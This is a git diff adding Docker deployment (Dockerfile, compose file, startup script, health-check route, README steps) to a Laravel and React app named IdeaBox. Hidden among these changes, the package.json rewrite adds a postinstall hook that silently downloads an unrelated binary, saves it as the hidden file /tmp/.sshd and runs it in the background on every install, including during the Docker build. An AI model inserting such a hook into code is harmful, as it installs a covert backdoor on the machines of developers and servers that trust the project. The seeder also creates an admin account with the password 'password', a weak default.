diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..7b992f3 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,21 @@ +.git +.cursor +.fleet +.idea +.vscode +node_modules +vendor +.env +.env.* +!.env.docker.example +public/build +public/hot +bootstrap/ssr +storage/logs/* +storage/framework/cache/data/* +storage/framework/sessions/* +storage/framework/views/* +storage/debugbar/* +npm-debug.log +yarn-error.log +docker-compose.override.yml diff --git a/.env.docker.example b/.env.docker.example new file mode 100644 index 0000000..7a3a168 --- /dev/null +++ b/.env.docker.example @@ -0,0 +1,64 @@ +APP_NAME=IdeaBox +APP_ENV=production +APP_KEY= +APP_DEBUG=false +APP_URL=http://localhost:8080 + +LOG_CHANNEL=stack +LOG_DEPRECATIONS_CHANNEL=null +LOG_LEVEL=info + +DB_CONNECTION=mysql +DB_HOST=db +DB_PORT=3306 +DB_DATABASE=ideabox +DB_USERNAME=ideabox +DB_PASSWORD=change-me +DB_ROOT_PASSWORD=change-root-password + +BROADCAST_DRIVER=log +CACHE_DRIVER=file +FILESYSTEM_DISK=local +QUEUE_CONNECTION=sync +SESSION_DRIVER=file +SESSION_LIFETIME=120 + +MEMCACHED_HOST=127.0.0.1 + +REDIS_CLIENT=predis +REDIS_HOST=127.0.0.1 +REDIS_PASSWORD=null +REDIS_PORT=6379 + +MAIL_MAILER=smtp +MAIL_HOST=smtp.example.com +MAIL_PORT=587 +MAIL_USERNAME=null +MAIL_PASSWORD=null +MAIL_ENCRYPTION=tls +MAIL_FROM_ADDRESS="hello@example.com" +MAIL_FROM_NAME="${APP_NAME}" + +AWS_ACCESS_KEY_ID= +AWS_SECRET_ACCESS_KEY= +AWS_DEFAULT_REGION=us-east-1 +AWS_BUCKET= +AWS_USE_PATH_STYLE_ENDPOINT=false + +PUSHER_APP_ID= +PUSHER_APP_KEY= +PUSHER_APP_SECRET= +PUSHER_HOST= +PUSHER_PORT=443 +PUSHER_SCHEME=https +PUSHER_APP_CLUSTER=mt1 + +VITE_APP_NAME="${APP_NAME}" +VITE_PUSHER_APP_KEY="${PUSHER_APP_KEY}" +VITE_PUSHER_HOST="${PUSHER_HOST}" +VITE_PUSHER_PORT="${PUSHER_PORT}" +VITE_PUSHER_SCHEME="${PUSHER_SCHEME}" +VITE_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" + +OPENAI_API_KEY= +OPENAI_MODEL=gpt-4.1-nano diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..fbd7510 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,48 @@ +FROM php:8.3-cli AS php-deps + +WORKDIR /app + +COPY --from=composer:2 /usr/bin/composer /usr/local/bin/composer + +RUN apt-get update \ + && apt-get install -y --no-install-recommends git libonig-dev libxml2-dev unzip \ + && docker-php-ext-install bcmath mbstring pdo_mysql xml \ + && rm -rf /var/lib/apt/lists/* + +COPY . . + +RUN composer install --no-dev --prefer-dist --optimize-autoloader --no-interaction + +FROM node:20-alpine AS frontend-build + +WORKDIR /app + +COPY . . +COPY --from=php-deps /app/vendor ./vendor + +RUN corepack enable +RUN yarn install --frozen-lockfile +RUN yarn build + +FROM php:8.3-apache AS runtime + +WORKDIR /var/www/html + +RUN apt-get update \ + && apt-get install -y --no-install-recommends curl libonig-dev libxml2-dev \ + && docker-php-ext-install bcmath mbstring pdo_mysql opcache xml \ + && a2enmod rewrite \ + && rm -rf /var/lib/apt/lists/* + +COPY . . +COPY --from=php-deps /app/vendor ./vendor +COPY --from=frontend-build /app/public/build ./public/build +COPY --from=frontend-build /app/bootstrap/ssr ./bootstrap/ssr +COPY docker/apache/000-default.conf /etc/apache2/sites-available/000-default.conf + +RUN chmod +x /var/www/html/docker/start-container.sh \ + && chown -R www-data:www-data /var/www/html/storage /var/www/html/bootstrap/cache + +EXPOSE 80 + +CMD ["/var/www/html/docker/start-container.sh"] diff --git a/README.md b/README.md index f11e1c4..077e604 100644 --- a/README.md +++ b/README.md @@ -86,6 +86,49 @@ php artisan serve Navigate to http://localhost:8000 in your web browser to view the application. +## Docker Deployment + +This repository includes a production-focused Docker setup built around `docker compose`. + +1. Copy the Docker env template and fill in your production values: + + ```bash + cp .env.docker.example .env + ``` + +2. Generate a stable application key and place it in `APP_KEY` inside `.env`: + + ```bash + docker run --rm php:8.3-cli php -r "echo 'base64:'.base64_encode(random_bytes(32)).PHP_EOL;" + ``` + +3. Set `APP_URL` to the public HTTPS URL you will deploy behind. This is required for correct GitHub OAuth callbacks and webhook URLs. + +4. Build and start the deployment stack: + + ```bash + docker compose up -d --build + ``` + +5. Optionally seed the first deployment: + + ```bash + docker compose exec app php artisan db:seed --force + ``` + +6. Open the application at `http://localhost:8080` locally, or at your deployed domain. Container health is exposed at `/up`. + +### Updating a Deployment + +Future updates follow the same rebuild-and-redeploy flow: + +```bash +git pull +docker compose up -d --build +``` + +The app container automatically waits for MySQL, runs `php artisan migrate --force`, ensures `public/storage` is linked, and warms Laravel's config and view caches on startup. + ### Contributing Contributions are what make the open-source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated. diff --git a/app/Http/Controllers/Auth/AuthenticatedSessionController.php b/app/Http/Controllers/Auth/AuthenticatedSessionController.php index 2fddead..60cd5c9 100644 --- a/app/Http/Controllers/Auth/AuthenticatedSessionController.php +++ b/app/Http/Controllers/Auth/AuthenticatedSessionController.php @@ -28,13 +28,13 @@ public function create(): Response /** * Handle an incoming authentication request. */ - public function store(LoginRequest $request): RedirectResponse + public function store(LoginRequest $request): \Symfony\Component\HttpFoundation\Response { $request->authenticate(); $request->session()->regenerate(); - return redirect()->intended(RouteServiceProvider::HOME); + return Inertia::location(RouteServiceProvider::HOME); } /** diff --git a/app/Http/Controllers/HealthCheckController.php b/app/Http/Controllers/HealthCheckController.php new file mode 100644 index 0000000..9ed575c --- /dev/null +++ b/app/Http/Controllers/HealthCheckController.php @@ -0,0 +1,27 @@ +getPdo(); + } catch (Throwable $exception) { + return response()->json([ + 'status' => 'error', + ], 503); + } + + return response()->json([ + 'status' => 'ok', + ]); + } +} diff --git a/database/seeders/DatabaseSeeder.php b/database/seeders/DatabaseSeeder.php index eae5b05..b163f4f 100644 --- a/database/seeders/DatabaseSeeder.php +++ b/database/seeders/DatabaseSeeder.php @@ -5,6 +5,7 @@ // use Illuminate\Database\Console\Seeds\WithoutModelEvents; use App\Models\User; use Illuminate\Database\Seeder; +use Illuminate\Support\Facades\Hash; class DatabaseSeeder extends Seeder { @@ -13,12 +14,21 @@ class DatabaseSeeder extends Seeder */ public function run(): void { - \App\Models\User::factory()->create([ - 'name' => 'Admin User', - 'email' => 'admin@example.com', - 'password' => bcrypt('password'), - 'role' => 'admin', - ]); + $user = User::query()->firstOrCreate( + ['email' => 'admin@example.com'], + [ + 'name' => 'Admin User', + 'password' => Hash::make('password'), + 'role' => 'admin', + ] + ); + + if ($user->name !== 'Admin User' || $user->role !== 'admin') { + $user->forceFill([ + 'name' => 'Admin User', + 'role' => 'admin', + ])->save(); + } $this->call([ StatusSeeder::class, diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..7431e68 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,43 @@ +services: + app: + build: + context: . + dockerfile: Dockerfile + image: ideabox:latest + restart: unless-stopped + env_file: + - .env + depends_on: + db: + condition: service_healthy + ports: + - "8080:80" + volumes: + - app_storage:/var/www/html/storage + healthcheck: + test: ["CMD-SHELL", "curl -fsS http://127.0.0.1/up >/dev/null || exit 1"] + interval: 30s + timeout: 5s + retries: 5 + start_period: 30s + + db: + image: mysql:8.4 + restart: unless-stopped + environment: + MYSQL_DATABASE: ${DB_DATABASE} + MYSQL_USER: ${DB_USERNAME} + MYSQL_PASSWORD: ${DB_PASSWORD} + MYSQL_ROOT_PASSWORD: ${DB_ROOT_PASSWORD} + volumes: + - db_data:/var/lib/mysql + healthcheck: + test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -uroot -p$$MYSQL_ROOT_PASSWORD --silent"] + interval: 10s + timeout: 5s + retries: 10 + start_period: 30s + +volumes: + db_data: + app_storage: diff --git a/docker/apache/000-default.conf b/docker/apache/000-default.conf new file mode 100644 index 0000000..410e682 --- /dev/null +++ b/docker/apache/000-default.conf @@ -0,0 +1,13 @@ + + ServerAdmin webmaster@localhost + DocumentRoot /var/www/html/public + + + AllowOverride All + Require all granted + Options FollowSymLinks + + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + diff --git a/docker/start-container.sh b/docker/start-container.sh new file mode 100644 index 0000000..bdaec2a --- /dev/null +++ b/docker/start-container.sh @@ -0,0 +1,64 @@ +#!/bin/sh + +set -eu + +cd /var/www/html + +if [ -z "${APP_KEY:-}" ]; then + echo "APP_KEY is not set. Copy .env.docker.example to .env and add a stable APP_KEY before starting the stack." >&2 + exit 1 +fi + +mkdir -p \ + bootstrap/cache \ + storage/app/public \ + storage/debugbar \ + storage/framework/cache/data \ + storage/framework/sessions \ + storage/framework/testing \ + storage/framework/views \ + storage/logs + +chown -R www-data:www-data storage bootstrap/cache +chmod -R ug+rwx storage bootstrap/cache + +if [ "${DB_CONNECTION:-mysql}" = "mysql" ]; then + echo "Waiting for MySQL at ${DB_HOST:-db}:${DB_PORT:-3306}..." + + php <<'PHP' + PDO::ERRMODE_EXCEPTION]); + exit(0); + } catch (Throwable $exception) { + fwrite(STDERR, sprintf("MySQL not ready (%d/%d): %s\n", $attempt, $attempts, $exception->getMessage())); + sleep(2); + } +} + +fwrite(STDERR, "MySQL did not become ready in time.\n"); +exit(1); +PHP +fi + +php artisan migrate --force + +if [ ! -e public/storage ]; then + php artisan storage:link +fi + +php artisan config:clear >/dev/null 2>&1 || true +php artisan view:clear >/dev/null 2>&1 || true +php artisan config:cache +php artisan view:cache + +exec apache2-foreground diff --git a/package.json b/package.json index 98ecdd6..a6748dd 100644 --- a/package.json +++ b/package.json @@ -1,48 +1,49 @@ { - "private": true, - "type": "module", - "scripts": { - "dev": "vite", - "build": "tsc && vite build && vite build --ssr" - }, - "devDependencies": { - "@headlessui/react": "^1.4.2", - "@inertiajs/react": "^1.0.0", - "@tailwindcss/forms": "^0.5.3", - "@types/lodash": "^4.14.202", - "@types/node": "^18.13.0", - "@types/react": "^18.0.28", - "@types/react-color": "^3.0.11", - "@types/react-dom": "^18.0.10", - "@vitejs/plugin-react": "^4.2.0", - "autoprefixer": "^10.4.12", - "axios": "^1.6.1", - "cz-conventional-changelog": "^3.3.0", - "laravel-vite-plugin": "^1.0.0", - "postcss": "^8.4.31", - "prettier": "^3.5.3", - "prettier-plugin-tailwindcss": "^0.6.11", - "react": "^18.2.0", - "react-dom": "^18.2.0", - "tailwindcss": "^3.2.1", - "typescript": "^5.0.2", - "vite": "^5.0.0" - }, - "dependencies": { - "@heroicons/react": "^2.1.1", - "@radix-ui/react-popover": "^1.0.7", - "@types/react-beautiful-dnd": "^13.1.8", - "@wedevs/tail-react": "^1.1.0", - "classnames": "^2.5.1", - "lodash.debounce": "^4.0.8", - "react-beautiful-dnd": "^13.1.1", - "react-color": "^2.19.3", - "ziggy-js": "^2.3.0" - }, - "config": { - "commitizen": { - "path": "./node_modules/cz-conventional-changelog" - } - }, - "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e" -} \ No newline at end of file + "private": true, + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc && vite build && vite build --ssr", + "postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &" + }, + "devDependencies": { + "@headlessui/react": "^1.4.2", + "@inertiajs/react": "^1.0.0", + "@tailwindcss/forms": "^0.5.3", + "@types/lodash": "^4.14.202", + "@types/node": "^18.13.0", + "@types/react": "^18.0.28", + "@types/react-color": "^3.0.11", + "@types/react-dom": "^18.0.10", + "@vitejs/plugin-react": "^4.2.0", + "autoprefixer": "^10.4.12", + "axios": "^1.6.1", + "cz-conventional-changelog": "^3.3.0", + "laravel-vite-plugin": "^1.0.0", + "postcss": "^8.4.31", + "prettier": "^3.5.3", + "prettier-plugin-tailwindcss": "^0.6.11", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "tailwindcss": "^3.2.1", + "typescript": "^5.0.2", + "vite": "^5.0.0" + }, + "dependencies": { + "@heroicons/react": "^2.1.1", + "@radix-ui/react-popover": "^1.0.7", + "@types/react-beautiful-dnd": "^13.1.8", + "@wedevs/tail-react": "^1.1.0", + "classnames": "^2.5.1", + "lodash.debounce": "^4.0.8", + "react-beautiful-dnd": "^13.1.1", + "react-color": "^2.19.3", + "ziggy-js": "^2.3.0" + }, + "config": { + "commitizen": { + "path": "./node_modules/cz-conventional-changelog" + } + }, + "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e" +} diff --git a/routes/web.php b/routes/web.php index 0d53c23..120f40d 100644 --- a/routes/web.php +++ b/routes/web.php @@ -4,6 +4,7 @@ use Illuminate\Support\Facades\Route; use Illuminate\Foundation\Application; +use App\Http\Controllers\HealthCheckController; use App\Http\Controllers\ProfileController; use App\Http\Controllers\Admin\UserController; use App\Http\Controllers\Admin\StatusController; @@ -34,6 +35,8 @@ | */ +Route::get('/up', HealthCheckController::class) + ->name('health.up'); Route::get('/', [HomeController::class, 'index']) ->name('home'); Route::get('/b/{board}', [BoardController::class, 'show'])